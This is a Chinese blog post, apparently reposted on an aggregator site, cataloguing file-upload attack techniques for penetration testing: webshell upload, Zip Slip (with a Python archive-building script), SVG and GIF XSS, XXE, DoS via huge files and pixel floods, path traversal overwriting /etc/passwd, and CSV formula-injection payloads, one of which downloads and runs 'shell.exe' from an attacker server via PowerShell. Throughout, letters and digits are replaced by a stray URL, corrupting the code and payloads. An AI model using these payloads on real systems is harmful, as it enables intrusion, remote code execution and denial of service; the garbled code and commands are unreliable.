返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >文件上传攻击骚操作
  • 410
分享到

文件上传攻击骚操作

php服务器安全 2023-09-03 10:09:36 410人浏览 独家记忆
摘要

允许直接上传shell 只要有文件上传功能,那么就可以尝试上传webshell直接执行恶意代码,获得服务器权限,这是最简单也是最直接的利用。 允许上传压缩包 如果可

允许直接上传shell

只要有文件上传功能,那么就可以尝试上传webshell直接执行恶意代码,获得服务器权限,这是最简单也是最直接的利用。

允许上传压缩包

如果可以上传压缩包,并且服务端会对压缩包解压,那么就可能存在Zip Slip目录走访漏洞;恶意攻击者通过构造一个压缩文件条目中带有../的压缩文件,上传后交给应用程序进行解压,由于程序解压时没有对压缩包内部的文件名进行合法性的校验,而是直接将文件名拼接在待解压目录后面,导致可以将文件解压到正常解压缩路径之外并覆盖可执行文件,从而等待系统或用户调用他们实现代码执行(也可能是覆盖配置文件或其他敏感文件)。

本质:没有对压缩包中的文件名进行合法性校验,直接将文件名拼接到待解压目录中,导致存在路径遍历风险

举例:若解压目录为/webapp/WEB/,给文件命名为:../../var/www/html/https://blog.csdn.net/qq_50854662/article/details/1.PHP并压缩,那么文件解压后,通过直接拼接文件名为/webapp/web/../../var/www/html/Https://blog.csdn.net/qq_50854662/article/details/1.php,因此最终就会存放到/var/www/html/https://blog.csdn.net/qq_50854662/article/details/1.php中,如果能访问并解析,那么就能成功代码执行。

利用:zip-slip-vulnerability这个仓库包含了有关此攻击的所有信息,例如受影响的库、项目和其他相关信息。

构造代码:

也可以用别人写好的工具GitHub - ptoomey3/evilarc: Create tar/zip archives that can ehttps://blog.csdn.net/qq_50854662/article/details/xploit directory traversal vulnerabilities

import zipfile# the name of the zip file to generatezf = zipfile.ZipFile('out.zip', 'w')# the name of the malicious file that will overwrite the origial file (must ehttps://blog.csdn.net/qq_50854662/article/details/xist on disk)fname = 'zip_slip.thttps://blog.csdn.net/qq_50854662/article/details/xt'#destination path of the filezf.write(fname, '../../../../../../../../../../../../../../../../../../../../../../../../tmp/zip_slip.aaa')

允许上传HTML或SVG

允许上传html或者svg都可以能导致https://blog.csdn.net/qq_50854662/article/details/xss,也能导致任意URL跳转,甚至还能导致SSRF(很难利用),因为核心还是js代码可控

html造成XSS就不多说了,懂得都懂

主要说说svg文件如何造成https://blog.csdn.net/qq_50854662/article/details/xss

检查思路:

创建一个恶意的svg文件,输入如下内容:

alert(document.domain);

上传到文件中,并访问

[!tip|style:flat]

如果目标存在导出功能,如给svg导出为pdf这种功能,那么可能存在SSRF

可尝试使用其他协议更直观的查看,如file://

允许上传CSV

如果允许上传CSV文件,且上传的CSV文件的内容未经过处理过滤直接保存,那么可以尝试上传具有恶意命令执行payload的CSV文件,当其他用户下载该CSV文件时,可能会导致命令执行。

CSV Payload

DDE ("cmd";"/C calc";"!A0")A0@SUM(https://blog.csdn.net/qq_50854662/article/details/1+9)*cmd|' /C calc'!A0=https://blog.csdn.net/qq_50854662/article/details/10+20+cmd|' /C calc'!A0=cmd|' /C notepad'!'Ahttps://blog.csdn.net/qq_50854662/article/details/1'=cmd|'/C powershell IEX(wget attacker_server/shell.ehttps://blog.csdn.net/qq_50854662/article/details/xe)'!A0=cmd|'/c rundll32.ehttps://blog.csdn.net/qq_50854662/article/details/xe \\https://blog.csdn.net/qq_50854662/article/details/10.0.0.https://blog.csdn.net/qq_50854662/article/details/1\3\2\https://blog.csdn.net/qq_50854662/article/details/1.dll,0'!_https://blog.csdn.net/qq_50854662/article/details/xlbgnm.Ahttps://blog.csdn.net/qq_50854662/article/details/1

检查思路:

上传恶意的CSV文件

下载恶意的CSV文件

观察下载后的CSV文件是否对等号=等特殊符号做了处理,payloads会否会成功执行,如果能则说明存在问题

允许上传XML格式文件并解析

如果允许上传XML格式文件,如dochttps://blog.csdn.net/qq_50854662/article/details/x、https://blog.csdn.net/qq_50854662/article/details/xlshttps://blog.csdn.net/qq_50854662/article/details/x、svg等本质是https://blog.csdn.net/qq_50854662/article/details/xml的文件,且后端会对上传的文件进行解析,那么可能存在XXE

以恶意svg为例,一般尝试OOB外带注入的方式来判断最快

 ]>&https://blog.csdn.net/qq_50854662/article/details/xhttps://blog.csdn.net/qq_50854662/article/details/xe;

恶意的XXE文档生成:docem

允许上传PDF

可能存在PDF XSS和任意URL跳转,但是由于属于浏览器层面的漏洞,所以厂商大概率不认可。

可以直接使用工具生成:GitHub - harunoz/js_pdf_https://blog.csdn.net/qq_50854662/article/details/xss

也可以按照网上的操作,用迅捷PDF编辑器去操作,效果都一样

允许上传大文件

文件上传的时候,服务端通常会对上传的文件进行大小限制,范围一般为5MB-200 MB,甚至更小/更大,具体取决于应用程序逻辑。但是如果未限制文件大小或不存在相关的验证检查,那么攻击者可能会上传相对较大的文件,造成大量资源消耗,从而可能导致拒绝服务。

检查思路:

创建一个超大的图片文件,如500M的png,并上传图片

新开一个浏览器页面或从另一台设备浏览网站,查看响应速度是否变慢或是否存在连接错误等异常情况

文件名造成的XSS

当上传任何文件时,文件名肯定是会反显示在网页上,可以使用 XSS Payload做文件名尝试将其上传到 Web 应用程序。这样就可能会触发XSS。

步骤:

https://blog.csdn.net/qq_50854662/article/details/1、Steps To Reproduce:2、create filename 3、start tianma-static

参考文章:

https://hackerone.com/reports/403692

允许上传gif文件

利用上传gif进行XSS

我们可以很容易的创建一张包含 javascript payload 的 GIF 图片,然后将这张图片当做源码加以引用。如果我们可以成功的注入相同的域名,如下所示,则这样可以有效的帮我们绕过 CSP(内容安全策略)防护(其不允许执行例如

创建这样一张图片可以使用如下内容并将文件命名为 .gif 后缀:

GIF89a=alert(document.domain)//;

GIF 文件标识 GIF89a 做为一个 javascript 的变量分配给 alert 函数。中间注释部分的 XSS 是为了以防图像被检索为 tehttps://blog.csdn.net/qq_50854662/article/details/xt/HTML MIME 类型时,通过请求文件来执行 payload。

我们通过下图可以发现,类 UNIX 命令的 PHP 函数 ehttps://blog.csdn.net/qq_50854662/article/details/xif_imagetype() 和 getimagesize() 都会将这个文件识别为 GIF 文件。而一般的 Web 应用都是使用这些函数来验证图像类型的,所以这样一个文件是可以被上传的(但上传后可能会被杀毒软件查杀)。

更多可以用作 javascript 变量赋值的 ASCII 文件类型标识符,请参见这里

更多关于文件上传 XSS 的详尽示例,包括绕过像 GD 库等过滤的例子,请参见这里

像素洪水攻击

任意可以上传图片的地方都可以进行测试;在Pihttps://blog.csdn.net/qq_50854662/article/details/xel Flood Attack中,攻击者尝试上传具有大像素的文件(64250https://blog.csdn.net/qq_50854662/article/details/x64250像素),一些应用会使用第三方组件/库对图像进行缩小处理,以节省存储空间和处理能力,但是这些第三方库在处理的时候,会将“整个图像”加载到内存中,它会尝试将4https://blog.csdn.net/qq_50854662/article/details/128062500像素分配到内存中,从而消耗服务器资源,导致应用最终崩溃宕机。

检查思路:

Free Online Image Editor - ResizePihttps://blog.csdn.net/qq_50854662/article/details/xel中调整图片大小为 64250https://blog.csdn.net/qq_50854662/article/details/x64250,上传图片(现在好像不行了,所以我找了个直接能用的 pihttps://blog.csdn.net/qq_50854662/article/details/xel_flood_lottapihttps://blog.csdn.net/qq_50854662/article/details/xel.jpg

新开一个浏览器页面或从另一台设备浏览网站,查看响应速度是否变慢或是否存在连接错误等异常情况

hackerone $500 实例

会对图片二次渲染

若服务端使用存在漏洞的组件对上传图片进行二次渲染等操作,那么也可以尝试RCE,如ImageMagick

一些ImageMagick相关的CVE:

  • CVE-20https://blog.csdn.net/qq_50854662/article/details/16–37https://blog.csdn.net/qq_50854662/article/details/14 — Insufficient shell characters filtering leading to (potentially remote) code ehttps://blog.csdn.net/qq_50854662/article/details/xecution
  • CVE-20https://blog.csdn.net/qq_50854662/article/details/16–37https://blog.csdn.net/qq_50854662/article/details/15 — File deletion
  • CVE-20https://blog.csdn.net/qq_50854662/article/details/16–37https://blog.csdn.net/qq_50854662/article/details/16 — File moving
  • CVE-20https://blog.csdn.net/qq_50854662/article/details/16–37https://blog.csdn.net/qq_50854662/article/details/17 — Local file read
  • CVE-20https://blog.csdn.net/qq_50854662/article/details/16–37https://blog.csdn.net/qq_50854662/article/details/18 — SSRF

不会对上传文件重命名

一些网站配置不当,或者开发安全意识不严谨,将用户上传的文件直接按原名存储到服务器中,那么我们就可以尝试将文件名添加回溯符../,以上传文件到任意目录,甚至覆盖文件,达到getshell或者破坏系统的目的。

[!tip]

windows中由于部分符号不能作为文件名,如果我们将文件名设置为带有这些特殊符号的内容,那么可能让服务器抛出异常

较少的情况下,可以控制上传的目录名,也可以通过路径遍历的方法上传到任意目录中。

如将文件名设置为../../../../etc/passwd,然后上传对应的内容,那么则有可能直接覆盖掉/etc/passwd

一般情况下尽量去覆盖不会对系统产生影响且我们可以直接观察到的文件,如robots.thttps://blog.csdn.net/qq_50854662/article/details/xt等

服务端的注入

服务端可能对上传的文件名进行各种处理,如展示到页面、存储到数据库等,因此可能存在各种各样的注入,如XSS、sqlI等

如上传文件名为test.png,那么我们可以设置变量为§test§.png,然后fuzz一下各种注入的payload,如sleep(https://blog.csdn.net/qq_50854662/article/details/10)-- -.png、test.png、${2*3} 等

元数据泄漏

元数据是照片背后的故事,它告诉我们图像文件是如何创建的,在哪里和何时创建的。它还描述了照片的内容,确定了摄影师,并向您展示了图像在后期处理中是如何编辑的。简单地说,假设您使用数码相机单击了一张图片,当该图像被处理并保存在存储设备上时,一些属性被添加到文件中,例如作者、位置、设备信息和其他适用于描述图像信息的信息。

如果服务端对用户上传的图片未进行处理就直接展示,那么将可能会导致源数据泄漏;通常情况下,元数据中包含GPS地址、设备信息等,会被当作低危。

[!note]

元数据泄漏不仅限于图片,还可以在其他文件格式中找到,如PDF

检查方法:

在头像上传等图片可以被枚举的功能点上传包含有ehttps://blog.csdn.net/qq_50854662/article/details/xif敏感信息的图片,没有的话可以用手机现拍

下载刚才上传的图片(如果用下面的在线平台这一步可以省略)

使用 http://ehttps://blog.csdn.net/qq_50854662/article/details/xif.regehttps://blog.csdn.net/qq_50854662/article/details/x.info/ehttps://blog.csdn.net/qq_50854662/article/details/xif.cgi或者 ehttps://blog.csdn.net/qq_50854662/article/details/xiftool 去分析数据

使用 ehttps://blog.csdn.net/qq_50854662/article/details/xiftool 工具可以修改 EXIF 元数据,从而在某些地方造成反射
$ ehttps://blog.csdn.net/qq_50854662/article/details/xiftool -FIELD=XSS FILE

例子:

$ ehttps://blog.csdn.net/qq_50854662/article/details/xiftool -Artist=’ “>’ brute.jpeg

在这里插入图片描述

相关burp检测文件上传插件

下载地址:https://GitHub.com/portswigger/upload-scanner

参考文章

File Upload Attacks (Part https://blog.csdn.net/qq_50854662/article/details/1)

File Upload Attacks (Part 2)

转发来自:文件上传攻击面 - FreeBuf网络安全行业门户

来源地址:https://blog.csdn.net/qq_50854662/article/details/https://blog.csdn.net/qq_50854662/article/details/129https://blog.csdn.net/qq_50854662/article/details/135776

--结束END--

本文标题: 文件上传攻击骚操作

本文链接: https://lsjlt.com/news/392025.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • 文件上传攻击骚操作
    允许直接上传shell 只要有文件上传功能,那么就可以尝试上传webshell直接执行恶意代码,获得服务器权限,这是最简单也是最直接的利用。 允许上传压缩包 如果可...
    99+
    2023-09-03
    php 服务器 安全
  • 文件上传攻击
    一、原理         文件上传攻击实质上就是拿下网站的控制权,户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向 服务器 上上传可执行的动态脚本文件。在我们的日常生活中经常会遇到,例如,我们在上传文件时,后台服务...
    99+
    2023-08-31
    安全
  • phar文件上传的骚姿势(绕过phar、_HALT)
    前面也讲过一次phar文件上传的东西,但是那都是过滤比较低,仅仅过滤了后缀。 知道今天看到了一篇好的文章 如果过滤了phar这个伪造协议的话,那还是比较简单的 if (preg_match("/^php|^file|^phar|^dic...
    99+
    2023-09-05
    php 服务器 java
  • GO实现文件上传操作
    本文实例为大家分享了GO实现文件上传操作的具体代码,供大家参考,具体内容如下 由于需求中有文件上传这一个需求,在这里我们就学习一下go语言如何上传文件。本文主要通过表单的方式进行文件...
    99+
    2024-04-02
  • servlet3如何实现文件上传操作
    这篇文章主要为大家展示了“servlet3如何实现文件上传操作”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“servlet3如何实现文件上传操作”这篇文章吧。在Servlet2.5中,我们要实现...
    99+
    2023-05-30
    servlet3
  • Ajaxupload如何实现多文件上传操作
    这篇文章主要介绍了Ajaxupload如何实现多文件上传操作,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。具体代码如下所示:<pre&...
    99+
    2024-04-02
  • 攻防世界-web-wzsc_文件上传
    打开环境,很简单的上传界面  上传一个空内容的jpg文件,上传成功    网站代码如下   来源于下面的文章 https://blog.csdn.net/qq_45608153/article/details/126312379 ...
    99+
    2023-09-10
    前端 java servlet php ctf
  • Java 文件操作安全防范指南:抵御恶意攻击
    一、文件权限的基本概念 文件权限是操作系统用于管理文件访问权限的方法。它定义了用户或组对文件的读、写、执行权限。文件权限通常以三位数字表示,每一位对应一个用户或组。第一位代表文件所有者,第二位代表文件所属组,第三位代表其他用户。每一位的数...
    99+
    2024-02-26
    文件操作 文件权限 文件访问控制 恶意攻击
  • phpmyadmin修改上传文件大小的操作方法
    小编给大家分享一下phpmyadmin修改上传文件大小的操作方法,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!phpmyadmin怎么修改上传文件大小phpmyadmin默认导入数据库文件...
    99+
    2024-04-02
  • Quarkus中实现Resteasy的文件上传下载操作
    目录前言文件上传文件下载前言 做java web开发,文件的上传和下载是一个非常常见的需求场景。在spring生态下的文件上传下载非常简单,记得五年前,我刚写博的时候也写过sprin...
    99+
    2024-04-02
  • 文件操作的进阶攻略:精通操作系统
    文件操作是计算机编程中一项基本任务,精通文件操作对程序员至关重要。本文将深入探讨文件操作的进阶技巧,帮助读者全面掌握操作系统的文件管理功能。 文件描述符 在操作系统中,文件由文件描述符标识。文件描述符是一个整数,指向特定的文件。通过文件描...
    99+
    2024-02-29
    文件操作、操作系统、命令行、Python、C++
  • Linux服务器防御:保护Web接口免受恶意文件上传攻击
    保护Linux服务器上的Web接口免受恶意文件上传攻击有以下几个关键步骤:1. 输入验证:在处理用户上传的文件之前,始终进行输入验证...
    99+
    2023-10-18
    Linux
  • SpringBoot使用FTP操作文件的过程(删除、上传、下载文件)
    目录简介配置 FTPSpringBoot 编码配置 Nginx简介 使用 SpringBoot 配置 FTP 服务器,上传、删除、下载文件。 配置 FTP 检查是否安装 vsftpd...
    99+
    2022-12-20
    SpringBoot FTP 操作文件 SpringBoot FTP 操作文件
  • linux命令行操作百度云上传下载文件
    目录0. 背景1. 安装2. 登录百度云账号3.上传文件4.下载文件5. 其它命令6. python代码调用0. 背景 很多时候我们只能通过ssh工具远程连接服务器,很多时候是没有图形界面的,可以使用ssh或者ftp上传...
    99+
    2022-06-04
    linux下使用百度云下载 linux上传文件到百度云
  • selenium+python实现文件上传操作的方法实例
    前言 selenium处理文件上传大致会有两种情况,一种是文件上传使用的是input标签元素,即<input type="file">,那么对这个input标签元素使用s...
    99+
    2024-04-02
  • Python编程中的文件操作攻略
    open函数 你必须先用Python内置的open()函数打开一个文件,创建一个file对象,相关的辅助方法才可以调用它进行读写。 语法: file object = open(file_name [...
    99+
    2022-06-04
    操作 攻略 文件
  • linux命令行如何操作云盘上传下载文件
    这篇文章将为大家详细讲解有关linux命令行如何操作云盘上传下载文件,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。1. 安装pip3 install -i https://p...
    99+
    2023-06-21
  • 云服务器怎么操作手机上的文件传输
    云服务器可以帮助您轻松地在移动设备上访问文件,以下是一些操作方法: 创建文件夹或文件:首先,创建一个新的文件夹或文件,将它命名为“app.py”或“app.cloud.py”(如果没有命名空间,则使用默认的文件名)。 选择文件夹或文件:...
    99+
    2023-10-26
    操作手 机上 文件传输
  • Windows操作系统的基本攻击方式
    Windows操作系统的基本攻击方式【199cloud-艾娜】我们都知道Windows操作系统使用人数量比Linux、UNIX操作系统要大很多,那么相对应的安全问题就尤为严峻。除了本身具有的网络协议攻击、网络扫描,针对Windows操作系统...
    99+
    2023-06-04
  • 微信小程序如何实现文件上传、下载操作
    这篇文章将为大家详细讲解有关微信小程序如何实现文件上传、下载操作,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。具体如下:前面介绍了微信小程序登录API与获取用户信息操作。...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作